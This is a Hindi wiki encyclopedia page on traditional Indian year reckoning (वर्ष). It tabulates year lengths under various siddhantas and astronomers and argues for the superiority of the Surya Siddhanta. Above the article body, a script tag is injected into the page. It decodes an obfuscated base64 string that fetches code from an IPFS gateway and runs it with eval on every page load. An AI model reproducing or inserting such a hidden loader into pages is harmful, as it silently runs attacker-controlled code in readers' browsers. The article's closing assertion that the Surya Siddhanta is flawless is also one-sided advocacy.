वर्ष

ब्रज डिस्कवरी, एक मुक्त ज्ञानकोष से
Asha (चर्चा | योगदान) द्वारा परिवर्तित ०८:३६, २० नवम्बर २००९ का अवतरण
नेविगेशन पर जाएँ खोज पर जाएँ

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

संवत्सर की उत्पत्ति वर्ष गणना के लिये ही होती है। ऋतु, मास, तिथि आदि सव वर्ष के ही अंग हैं। ब्राह्म, पित्र्य, दैव, प्राजापत्य, गौरव, सौर, सावन, चान्द्र और नाक्षत्र- इन भेदों से नौ प्रकार की वर्ष-गणना होती है। इनमें ब्राह्म, दैव, पित्र्य और प्राजापत्य- ये चार वर्ष कल्प तथा युग-सम्बन्धी लंबी गणना के काम में प्रयुक्त होते हैं। शेष गौरव (बार्हस्पत्य) सौर, सावन, चान्द्र और नाक्षत्र वर्ष साधारण व्यवहार के लिये हैं। भारत को छोड़कर अन्य देशों में से प्राय: मुस्लिम देशों में चान्द्र वर्ष तथा दूसरों में सौर और सावन वर्षों से काल-गणना की जाती है। भारत में पाँचों प्रकार की लौकिक वर्षगणना का सामंजस्य सौर वर्ष में क्षय-वृद्धि करके बनाये रखते हैं। इस प्रकार लौकिक वर्ष-गणना सौर वर्ष से होती है। इस सौर वर्ष के दो भेद हैं- सायन और निरयण। इनमें निरयण वर्ष-गणना केवल भारत में प्रचलित है। सभी देशों में सायनमान एक-सा माना जाता है; क्योंकि सायनमान दृश्य गणितपर निर्भर है। निरयण गणना केवल यन्त्रों के द्वारा ही सम्भव है; अत: निरयण वर्ष के मान में मतभेद है। विभिन्न ज्यौतिषाचार्यों के मतानुसार विभिन्न वर्षों के कालमान की नीचे एक तालिका दी जा रही है। इससे वर्षों का अन्तर समझ में आ सकेगा।





सिद्धान्त कालमान क्र0 सं0 नाम वर्ष दिन घटी पल विपल प्रतिविपल 1 सूर्य सिद्धान्त 1 365 15 31 31 24 2 वेदांग ज्यौतिष 1 366 0 0 0 0 3 आर्यभट्ट 1 365 15 31 15 0 4 ब्रह्मस्फुट-सिद्धान्त 1 365 15 30 22 30 5 पितामह सिद्धान्त 1 365 21 15 0 0 6 ग्रहलाघव 1 365 15 31 30 0 7 ज्योतिर्गणित (केतकर) 1 365 15 22 57 0 8 लाकियर (नाक्षत्र) 1 365 15 22 52 30 9 लाकियर (मन्द्रकेन्द्र) 1 365 15 34 34 0 10 लाकियर (सायन) 1 365 14 31 56 0 11 टालमी (सायन) 1 365 14 37 0 0 12 कोपरनिकस (सायन) 1 365 14 39 55 0 13 मेटन (नाक्षत्र) 1 365 15 47 2 10 14 बेबोलियन (नाक्षत्र) 1 365 15 33 7 40 15 शियोनिद 1 365 14 33 32 45 16 थेषित 1 365 15 22 57 30 17 आचार्य आप्टे (उज्जैन) 1 365 15 22 58 0 18 विष्णुगोपाल नवाथे 1 365 14 31 53 25 19 आधुनिक यूरोपियन 1 365 15 22 56 52 20 चान्द्र 1 354 22 1 23 0 21 सावन 1 360 0 0 0 0 22 बार्हस्पत्य 1 361 1 36 11 0 23 नाक्षत्र 1 371 3 52 30 0 24 सौर (जो प्रचलित है) 1 365 15 31 30 0

ऊपर के वर्षों का यदि कल्पोंतक की गणना में उपयोग किया जाय तो उनमें से सूर्य सिद्धान्त का मान ही भ्रमहीन एवं सर्वश्रेष्ठ प्रमाणित होता है। सृष्टि संवत के प्रारम्भ से यदि आजतक का गणित किया जाय तो सूर्यसिद्धान्त के अनुसार एक दिन का भी अन्तर नहीं पड़ता। मैंने चैत्र शुक्ल प्रतिपदा संवत 2002 (13 अप्रैल सन् 1945) को लेकर गणित किया। सूर्यसिद्धान्त के अनुसार उस दिन शुक्रवार आता है और यही दिन है भी; किंतु यदि प्रचलित आधुनिक योरोपियन गणना से इतना लंबा गणित हो तो 4,50,000 दिनों का अन्तर पड़ेगा; क्योंकि सूर्यसिद्धान्त से प्रतिवर्ष इस गणना में साढ़े आठ पल से भी अधिक का अन्तर है। सूर्यसिद्धान्त के प्राचीन मान से आधुनिक मान का अन्तर 8 पल 34 विपल का होता है। प्राचीन अयनगति 60 पल और आधुनिक अयनगति 50 पल, 26 विपल होने से गति का अन्तर 9 पल 34 विपल होता है। इस प्रकार 9 पल 34 विपल तथा 8 पल, 34 विपल में केवल एक पल का अन्तर होता है। इस प्रकार सूर्यसिद्धान्त के मान में एक पल कम करके गणित करने से 5000 वर्ष तक के दिनादि सब ठीक मिलते हैं। यही बात भारतीय सूर्यसिद्धान्त की पूर्णता सिद्ध करने के लिये पर्याप्त है। भारतीय वर्ष-गणना के लिये यह अभ्रान्त सिद्धान्त ही प्रयुक्त होना चाहिये।